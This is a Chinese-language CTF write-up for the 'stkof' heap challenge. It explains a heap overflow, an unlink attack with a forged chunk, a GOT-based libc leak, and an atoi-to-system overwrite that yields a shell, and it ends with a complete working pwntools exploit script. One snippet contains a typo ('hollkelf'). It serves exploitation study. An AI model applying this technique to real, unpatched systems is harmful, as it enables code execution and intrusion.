检查
程序逻辑
一个经典的菜单选择,逐一分析各选项
alloc
这里新学会了一种常见的情况,将创建的堆指针储存于一个数组指针中便于统一管理
同时有这种管理堆指针的指针数组存在时,可考虑unlink
edit
既然存在edit功能,那一般就能实现任意地址写了,分析程序发现,这里对堆内容的写入虽然规定了大小,但大小可以设置为很大很大,那么就可以造成堆溢出
delete
说到delete函数一般就会下意识的想到UAF了,可惜这里将指针数组中的内容置空了并没有UAF,那么只能通过别的方法泄露地址了。
利用思路
堆溢出+堆指针数组+关闭了PIE那么就可以使用unlink了
- 创建三个堆块
- 由于没有清空缓冲区的问题,所以只有2,3号堆块物理相邻,则可以free堆块3,在堆块2构造fake_chunk来进行unlink
- 设置fake_chunk的fd和bk为数组指针上的地址,使数组指针在unlink后能够指向自己
- 覆盖指针数组上的地址,泄露puts函数地址,拿到libc_base并且寻找system和binsh的地址
- 使用atoi_got修改为system的实际地址然后发送binsh
exp分析
一些功能的自动化函数
def alloc(size):
p.sendline(b'1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, size, content):
p.sendline(b'2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline(b'3')
p.sendline(str(idx))
unlink
def exp():
alloc(0x100)
alloc(0x30)
alloc(0x80)
先创建三个堆块,由于没有清空缓存区,所以三个创建的堆块并不是连在一起的
上图可知堆块1被一个大小为0x410的堆块隔开了,而堆块2和堆块3是物理相邻的
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head - 0x8) #fd
payload += p64(head) #bk
payload += p64(0x20) #next_prev
payload += b'A'*0x8 #next_size
payload += p64(0x30) #以实际堆大小为准
payload += p64(0x90)
edit(2, len(payload), payload)
free(3)
总结一下unlink时伪造堆块各部分如何填充:
-
prev_size (x)
-
size (填充伪造的 fake_chunk 的size)
-
fd (填充具有 bk 指针(低地址)能指向当前fake_chunk的 prev_size 的chunk)
-
bk (填充具有 fd 指针(高地址)能指向当前fake_chunk的 prev_size 的chunk)
一般fd和bk的设置可以找存块指针的指针数组
-
next_prev (next_prev == size)
-
next_size (x)
这里我们的目标是在堆块2伪造一个chunk,释放堆块3使其合并达到unlink
伪造之后堆溢出的0x10字节填充的0x30是堆块2原本的大小,0x90是设置的堆块3的大小,防止free后进入fastbin
如上图可以看到free之后数组指针已经变成了一个回环,指向了自己,那么就可以向0x602138即数组的[2]号元素的位置写入数据重新对数组进行布局
泄露地址
payload = b'A'*0x8 #s[-1]
payload += p64(elf.got['free']) #s[0]
payload += p64(elf.got['puts']) #s[1]
payload += p64(elf.got['atoi']) #s[2]
edit(2, len(payload), payload)
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)
free(1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('puts addr: ' + hex(puts_addr))
看下面的精简代码:
payload += p64(elf.got['free'])
payload += p64(elf.got['puts'])
.
.
.
payload = p64(hollkelf.plt['puts'])
edit(0, len(payload), payload)
free(1)
这里有个很基础的点回顾一下:
通过将free的got表地址填上去(这里的填充位于指针数组0号位置),然后再填充puts的got表地址(这里的填充位于指针数组1号位置),之后再用修改功能将0号位置指针的内容修改为puts的plt地址即变成了:
*free_got = puts_plt
然后再free(1),由于这时候的free函数的实际地址已经被修改成立puts_plt,所以free会执行puts的效果,输出1号指针所指向的内容即puts_got所指向的内容(puts_plt),这样就泄露出了puts的实际地址
执行system
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base addr: ' + hex(libc_base))
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
这里没什么好说的了,常规流程
完整exp
from os import unlink
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./stkof')
gdb.attach(p)
elf = ELF('./stkof')
libc = ELF('./libc-2.23_sym.so')
head = 0x602140
def alloc(size):
p.sendline(b'1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, size, content):
p.sendline(b'2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline(b'3')
p.sendline(str(idx))
def exp():
alloc(0x100)
alloc(0x30)
alloc(0x80)
# unlink
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head - 0x8) #fd
payload += p64(head) #bk
payload += p64(0x20) #next_prev
payload += b'A'*0x8 #next_size
payload += p64(0x30) #以实际堆大小为准
payload += p64(0x90)
edit(2, len(payload), payload)
free(3)
# 泄露地址
payload = b'A'*0x8
payload += p64(elf.got['free'])
payload += p64(elf.got['puts'])
payload += p64(elf.got['atoi'])
edit(2, len(payload), payload)
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)
free(1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base addr: ' + hex(libc_base))
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
if __name__ == "__main__":
exp()